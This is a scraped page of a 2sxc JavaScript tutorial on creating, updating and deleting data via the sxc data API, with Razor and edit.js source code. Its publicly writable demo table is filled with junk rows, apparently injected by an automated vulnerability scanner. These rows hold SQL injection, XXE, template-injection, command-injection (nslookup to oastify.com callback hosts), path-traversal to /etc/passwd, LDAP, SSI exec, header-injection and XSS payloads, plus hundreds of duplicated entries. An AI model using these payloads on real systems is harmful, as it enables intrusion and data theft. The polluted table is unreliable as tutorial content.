Logo
Logo
  • Blazor CMS Home
  • Oqtane Tutorials
  • Blazor CMS Home
  • Oqtane Tutorials
Oqtane Tutorials
Oqtane Tutorials

JavaScript Tutorial

Tutorial Home › JavaScript
Use the 2sxc JS API to get Data
#2 Use the sxc data API to create/edit/delete data
Use the sxc data API to create metadata
The samples can differ based on your Razor base class or if you're running an old version.
Selected: Typed (2sxc 16+) Switch to Dynamic (Razor14 or below)
Requirements
  • 2sxc 7.00
Resources
  • JS 2sxc APIs
  • JS sxc.data Service
  • JS sxc.query Service
Related
  • turnOn Tutorial
  • WebAPI Basics: Call WebAPIs and REST using JavaScript

Use the sxc data API to create/edit/delete data

This page uses the sxc data API to create data for the backend.

In this tutorial you'll learn how to:

  • Create data using the .create(...) method
  • Update data using the .update(...) method
  • Delete data using the .delete(...) method

Look at the content below to see the effect.

Name Birth date Poems Actions
SuperPoet 31 1/1/2021 81
SuperPoet 314 1/1/2021 89
SuperPoet 698 1/1/2021 861
SuperPoet 213 1/1/2021 553
SuperPoet 981 1/1/2021 654
SuperPoet 46 1/1/2021 520
SuperPoet 250 1/1/2021 632
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 213 1/1/2021 553
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % mcxpj SYSTEM "http://q4vdfxx53qt3bi1xfk53gphlfcl79y0uoxcpzfn4.oasti'||'fy.com/">%mcxpj;]>'),'/l') from dual) 1/1/2021 808
SuperPoet 514'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % mcxpj SYSTEM "http://hbw4mo4wah0ui98ombcungocm3sygp7lvpjh67uw.oasti'||'fy.com/">%mcxpj;]>'),'/l') from dual)||' 1/1/2021 808
SuperPoet 514;declare @q varchar(99);set @q='\\seafpz77ds35lkbzpmf5qrrnpev9j0awynobgy6mv.oasti'+'fy.com\ycz'; exec master.dbo.xp_dirtree @q;-- 1/1/2021 808
SuperPoet 514';declare @q varchar(99);set @q='\\xqrk14jcpxfaxpn41rra2w3s1j7ev5m1as1gt3jr8.oasti'+'fy.com\ylp'; exec master.dbo.xp_dirtree @q;-- 1/1/2021 808
SuperPoet 514);declare @q varchar(99);set @q='\\xnoky4gcmxcaupk4yroazw0syj4es5j17szgr3hr6.oasti'+'fy.com\rhr'; exec master.dbo.xp_dirtree @q;-- 1/1/2021 808
SuperPoet 514');declare @q varchar(99);set @q='\\mxn98tq1wmmz4eut8gyz9lah88e32utqhha52ssgh.oasti'+'fy.com\giq'; exec master.dbo.xp_dirtree @q;-- 1/1/2021 808
(select load_file('\\\\356qgayi43ugcv2agx6gh2iygpmkab17pyrmj99xy.oastify.com\\cef')) 1/1/2021 808
SuperPoet 514'+(select load_file('\\\\7dluoe6mc72kkzaeo1ekp6q2otuoif9bx20qsdi17.oastify.com\\fge'))+' 1/1/2021 808
SuperPoet 514' 1/1/2021 808
SuperPoet 514'(select*from(select(sleep(20)))a)' 1/1/2021 808
SuperPoet 514'+(select*from(select(sleep(20)))a)+' 1/1/2021 808
SuperPoet 514' and (select*from(select(sleep(20)))a)-- 1/1/2021 808
SuperPoet 514,(select*from(select(sleep(20)))a) 1/1/2021 808
SuperPoet 514' waitfor delay'0:0:20'-- 1/1/2021 808
SuperPoet 514')waitfor delay'0:0:20'-- 1/1/2021 808
SuperPoet 514',0)waitfor delay'0:0:20'-- 1/1/2021 808
SuperPoet 514'||pg_sleep(20)-- 1/1/2021 808
SuperPoet 514' AND pg_sleep(20)-- 1/1/2021 808
SuperPoet 514',''||pg_sleep(20)-- 1/1/2021 808
SuperPoet 514')AND pg_sleep(20)-- 1/1/2021 808
SuperPoet 514',0)AND pg_sleep(20)-- 1/1/2021 808
SuperPoet 51451974163' or '3374'='3374 1/1/2021 808
SuperPoet 51486697697' or '3954'='3957 1/1/2021 808
SuperPoet 51433298783' or '6532'='6532 1/1/2021 808
SuperPoet 51483322520' or '1189'='1189' 1/1/2021 808
SuperPoet 51435046054' or 8922=8922-- 1/1/2021 808
SuperPoet 51419502471' or 7044=7049-- 1/1/2021 808
SuperPoet 51419268099' or 3664=3664-- 1/1/2021 808
SuperPoet 51450734706' or 5309=5309'-- 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514' and '3597'='3597 1/1/2021 808
SuperPoet 514' and '6518'='6523 1/1/2021 808
SuperPoet 514' and '2318'='2318 1/1/2021 808
SuperPoet 514' and '5105'='5105' 1/1/2021 808
SuperPoet 514' and 8677=8677-- 1/1/2021 808
SuperPoet 514' and 8367=8369-- 1/1/2021 808
SuperPoet 514' and 1538=1538-- 1/1/2021 808
SuperPoet 514' and 8722=8722'-- 1/1/2021 808
SuperPoet 514" 1/1/2021 808
gogd3p5a54 1/1/2021 808
SuperPoet 514mz9yjodi1a 1/1/2021 808
SuperPoet 514alert(1) 1/1/2021 808
SuperPoet 514suv21<a>xpwe7 1/1/2021 808
SuperPoet 514bxzf4<script>alert(1)</script>tkuid 1/1/2021 808
SuperPoet 514 1/1/2021 808
iwddc${482*149}re6xa 1/1/2021 808
dh646{{558*319}}i1wg1 1/1/2021 808
va4nf#{927*457}m6tzb 1/1/2021 808
z006p[[589*822]]kts45 1/1/2021 808
aivgw${file.separator}mdgwv 1/1/2021 808
e4yep%{132*275}tr4dj 1/1/2021 808
hsfmk{{448|add:404}}ylh2o 1/1/2021 808
#set ($a=819*286) bvbio${a}tq9qr 1/1/2021 808
wk7th<%= 263*550 %>nloqy 1/1/2021 808
sgtfx = 975*193 1/1/2021 808
SuperPoet 514 1/1/2021 808
dmq1w{{.}}yfhrb{{..}}ev9tw 1/1/2021 808
hdewb__${576*668}__oycxr 1/1/2021 808
SuperPoet 514}}rzbob'/"<ibx7v 1/1/2021 808
SuperPoet 514%}nnbk7'/"<e1juz 1/1/2021 808
SuperPoet 514zv992%>xde0u'/"<hf5f9 1/1/2021 808
SuperPoet 514'+sleep(20.to_i)+' 1/1/2021 808
SuperPoet 514'+eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))+' 1/1/2021 808
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single')) 1/1/2021 808
SuperPoet 514'.sleep(20).' 1/1/2021 808
SuperPoet 514{${sleep(20)}} 1/1/2021 808
v741nok32aÁbrw6wqrn1o 1/1/2021 808
v741nok32aÁbrw6wqrn1o 1/1/2021 808
gvhsgeo30x%41z3i01o7lwm 1/1/2021 808
gvhsgeo30x%41z3i01o7lwm 1/1/2021 808
z182cyzvo1\\l9exznieqf 1/1/2021 808
z182cyzvo1\\l9exznieqf 1/1/2021 808
1gou46qa97&#65;kvgr3yxl9u 1/1/2021 808
1gou46qa97&#65;kvgr3yxl9u 1/1/2021 808
SuperPoet 514l8pvwwik45Áqk577h28yy 1/1/2021 808
SuperPoet 514l8pvwwik45Áqk577h28yy 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514pv5god2onf%41jvughrmh9x 1/1/2021 808
SuperPoet 514pv5god2onf%41jvughrmh9x 1/1/2021 808
SuperPoet 514wfa86lsubf\\lra3av7kuc 1/1/2021 808
SuperPoet 514wfa86lsubf\\lra3av7kuc 1/1/2021 808
SuperPoet 51430ir4vvkwl&#65;swvdfundp5 1/1/2021 808
SuperPoet 51430ir4vvkwl&#65;swvdfundp5 1/1/2021 808
thegs0a8gt66ole0sni6tsuosfyam1dx1pphc70w.oastify.com 1/1/2021 808
http://7s0u3elmr7hkzzpe31tk46523t9oxfobc10tnjb8.oastify.com?SuperPoet 213 1/1/2021 808
SuperPoet 514 1/1/2021 808
nslookup -q=cname ptmc4wm4spi20hqw4ju25o6k4ba6yxptdmga8xyln.oastify.com.& 1/1/2021 808
SuperPoet 514|nslookup -q=cname 3lpqwaeik3agsviawxmgx2yywp2kqbh753tvgl4a.oastify.com.& 1/1/2021 808
SuperPoet 514'"`0&nslookup -q=cname g5m3gnyv4gutc82nga6thfibg2mxao1kphd90zoo.oastify.com.&`' 1/1/2021 808
SuperPoet 514&nslookup -q=cname xabkl43c9xzahp74lrbamwnsljref561uwio5et3.oastify.com.&'\"`0&nslookup -q=cname xabkl43c9xzahp74lrbamwnsljref561uwio5et3.oastify.com.&`' 1/1/2021 808
SuperPoet 514|echo w64568mvsf xlbxq7kkav||a #' |echo w64568mvsf xlbxq7kkav||a #|" |echo w64568mvsf xlbxq7kkav||a # 1/1/2021 808
SuperPoet 514&echo 7tpi5u27pu hsr259l4ht& 1/1/2021 808
SuperPoet 514"|echo soi37i2dnl g0r1k9zx2g || 1/1/2021 808
SuperPoet 514'|echo xgrivtd6w2 dl51i00iw9 #xzwx 1/1/2021 808
SuperPoet 514|ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1 1/1/2021 808
SuperPoet 514|ping -c 21 127.0.0.1||x 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514&ping -n 21 127.0.0.1& 1/1/2021 808
SuperPoet 514'|ping -c 21 127.0.0.1 # 1/1/2021 808
SuperPoet 514"|ping -n 21 127.0.0.1 || 1/1/2021 808
SuperPoet 514 1/1/2021 808
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini 1/1/2021 808
c:\windows\win.ini 1/1/2021 808
SuperPoet 213..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini 1/1/2021 808
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini�SuperPoet 213 1/1/2021 808
../../../../../../../../../../../../../../../../etc/passwd 1/1/2021 808
/etc/passwd 1/1/2021 808
SuperPoet 213../../../../../../../../../../../../../../../../etc/passwd 1/1/2021 808
../../../../../../../../../../../../../../../../etc/passwd�SuperPoet 213 1/1/2021 808
.../SuperPoet 213 1/1/2021 808
./SuperPoet 213 1/1/2021 808
././SuperPoet 213 1/1/2021 808
udq/SuperPoet 213 1/1/2021 808
SuperPoet 514 1/1/2021 808
ru0z1isixc)(objectClass=* 1/1/2021 808
vqkfdtsvqm)(!(objectClass=*) 1/1/2021 808
y1rvzx674h)(!(!(objectClass=*)) 1/1/2021 808
36kjdkxznk)(!(!(!(objectClass=*))) 1/1/2021 808
*)(objectClass=* 1/1/2021 808
*)(!(objectClass=*) 1/1/2021 808
*)(!(!(objectClass=*)) 1/1/2021 808
*)(!(!(!(objectClass=*))) 1/1/2021 808
SuperPoet 514 1/1/2021 808
<cnx xmlns="http://a.b/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://a.b/ http://od5bov63co21kgavoie1pnqjoau5iw9sxslk8awz.oastify.com/cnx.xsd">cnx</cnx> 1/1/2021 808
<hlq xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://au8x5hnptajn12rh54vn69755wbrziqeef27pxdm.oastify.com/foo"/></hlq> 1/1/2021 808
SuperPoet 514]]>>< 1/1/2021 808
SuperPoet 514'+(function(){if(typeof cswf1==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<20000);cswf1=1;}}())+' 1/1/2021 808
SuperPoet 514 1/1/2021 808
"-->'-->`--><!--#set var="392" value="281pj91h72"--><!--#set var="5b4" value="4a3rlb3j94"--><!--#echo var="392"--><!--#echo var="5b4"--><!--#exec cmd="nslookup -q=cname pvoc6wo4upk22hsw6jw27o8k6bc60xrtfld95wvkk.oastify.com" --> 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 BCC:qrld2xk5qqg3yiox2ks33p4l2c87wynubm4awxmlb@oastify.com eoq: p 1/1/2021 808
SuperPoet 514> BCC:e8n1jl1t7exrf65lj89rkdl9j0pvdm4isamyel49t@oastify.com fxz: v 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
SuperPoet 514 1/1/2021 808
@inherits Custom.Hybrid.RazorTyped
@using ToSic.Razor.Blade

@* Make sure anonymous users have the 2sxc JS API *@
@Kit.Page.Activate("2sxc.JsCore")

@{
  var randomName = "SuperPoet " + new Random().Next(1000);
}
<table id="example-content" class="table">
  Name Birth date Poems Actions
  <tbody>
    @foreach (var poet in AsItems(App.Data["PoetsToEdit"])) {
      <tr>
        <td>@poet.Get("Name")</td>
        <td>@poet.DateTime("BirthDate").ToShortDateString()</td>
        <td data-poet="@poet.Id">@poet.Get("Poems")</td>
        <td>
          <button type="button" class="btn btn-primary" onclick="window.editPoets.updateCount(@poet.Id)">Update Poems</button>
          <button type="button" class="btn btn-primary" onclick="window.editPoets.delete(@poet.Id)">Delete Poet</button>
        </td>
      </tr>
    }
  </tbody>
</table>

<div class="row">
  <div class="col-md-3">
    <input id="name" class="form-control" placeholder="Name" value="@randomName">
  </div>
  <div class="col-md-3">
    <input type="date" id="birthdate" class="form-control" min="1938-01-01" max="1949-01-01" placeholder="Birthdate" value="2021-01-01">
  </div>
  <div class="col-md-3">
    <input type="number" id="poems" min="0" class="form-control" placeholder="Poems" value="@(new Random().Next(999))">
  </div>
  <button type="button" class="btn btn-primary" onclick="window.editPoets.add()" >Add poet</button>
</div>

@* This tutorial uses turnOn, see turnOn tutorials *@
@Kit.Page.TurnOn("window.editPoets.init()", data: new {
  moduleId = MyContext.Module.Id
})

<script src="@App.Folder.Url/tutorials/js-edit/js/edit.js"></script>

Source Code of edit.js

// This tutorial uses turnOn, see turnOn tutorials
// As soon as this variable exists, the page will start the code thanks to turnOn
window.editPoets = {
  poetsSvc: null,

  init: function({ moduleId }) {
    // Create a $2sxc object using the current Module Id
    const sxc = $2sxc(moduleId);

    // Get the data Service - type PoetsToEdit has public create/delete permissions
    poetsSvc = sxc.data('PoetsToEdit');
  },

  add: function() {
    const newPoet = {
      name: document.querySelector('#name').value,
      birthdate: document.querySelector('#birthdate').value,
      poems: document.querySelector('#poems').value
    };

    // Create data in the backend with .create(object) and reload page after
    poetsSvc.create(newPoet).then(() => { alert('created poet, will reload'); location.reload(); });
  },

  delete: function(id) {
    // Delete data in the backend with .delete()
    poetsSvc.delete(id).then(() => { alert('deleted poet, will reload'); location.reload(); });
  },


  updateCount: function(id) {
    // NOTE: Updated object doesn't need to contain all properties 
    const updatedPoet = {
      Poems: Math.floor(Math.random() * 100).toString()
    };

    // Update data in the backend with .update()
    poetsSvc.update(id, updatedPoet)
      // After backend update, show the new number which the backend returned
      .then(res => {
        document.querySelector(`[data-poet='${id}']`).innerText = res.Poems
      });
  }
}

 

Use the 2sxc JS API to get Data
#2 Use the sxc data API to create/edit/delete data
Use the sxc data API to create metadata
  • 2sic internet solutions
  • Langäulistrasse 62, 9470 Buchs SG, Switzerland
  • +41 81 750 67 77
Login